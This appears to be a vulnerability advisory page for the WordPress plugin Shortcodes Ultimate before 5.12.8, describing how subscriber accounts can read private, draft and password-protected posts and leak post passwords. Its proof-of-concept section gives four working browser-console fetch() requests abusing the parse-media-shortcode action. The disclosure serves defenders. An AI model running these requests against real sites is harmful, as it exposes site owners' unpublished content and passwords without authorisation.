Lucene search

K
wpvulndbWpvulndbWPVDB-ID:8A466F15-F112-4527-8B02-4544A8032671
HistoryFeb 27, 2023 - 12:00 a.m.

Shortcodes Ultimate < 5.12.8 - Subscriber+ Arbitrary Post Access

2023-02-2700:00:00
wpscan.com
13
plugin security vulnerability
arbitrary post access
unauthorized user access

0.001 Low

EPSS

Percentile

28.2%

The plugin does not ensure that posts to be displayed via some shortcodes are already public and can be accessed by the user making the request, allowing any authenticated users such as subscriber to view draft, private or even password protected posts. It is also possible to leak the password of protected posts

PoC

Run one of the below command in the developer console of the web browser while being on the blog as a subscriber Via su_post shortcode: fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: “action=parse-media-shortcode&shortcode;=[su_post field=‘the_content’ post_id=‘14’]”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); This will display the content of the post with ID 14 (such as a draft/private/password protected one) To leak the password of a protected post: fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: “action=parse-media-shortcode&shortcode;=[su_post field=‘post_password’ post_id=‘20’]”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); Via su_posts shortcode: fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: “action=parse-media-shortcode&shortcode;=[su_posts post_status=‘private’]”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); This will display all private posts and their content (pwd protected content won’t be displayed here though) fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: “action=parse-media-shortcode&shortcode;=[su_posts post_status=‘any’ id=‘14,20’]”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); This will display the posts with id 14 and 20 along with their and their content (pwd protected content won’t be displayed)

CPENameOperatorVersion
shortcodes-ultimatelt5.12.8

0.001 Low

EPSS

Percentile

28.2%

Related for WPVDB-ID:8A466F15-F112-4527-8B02-4544A8032671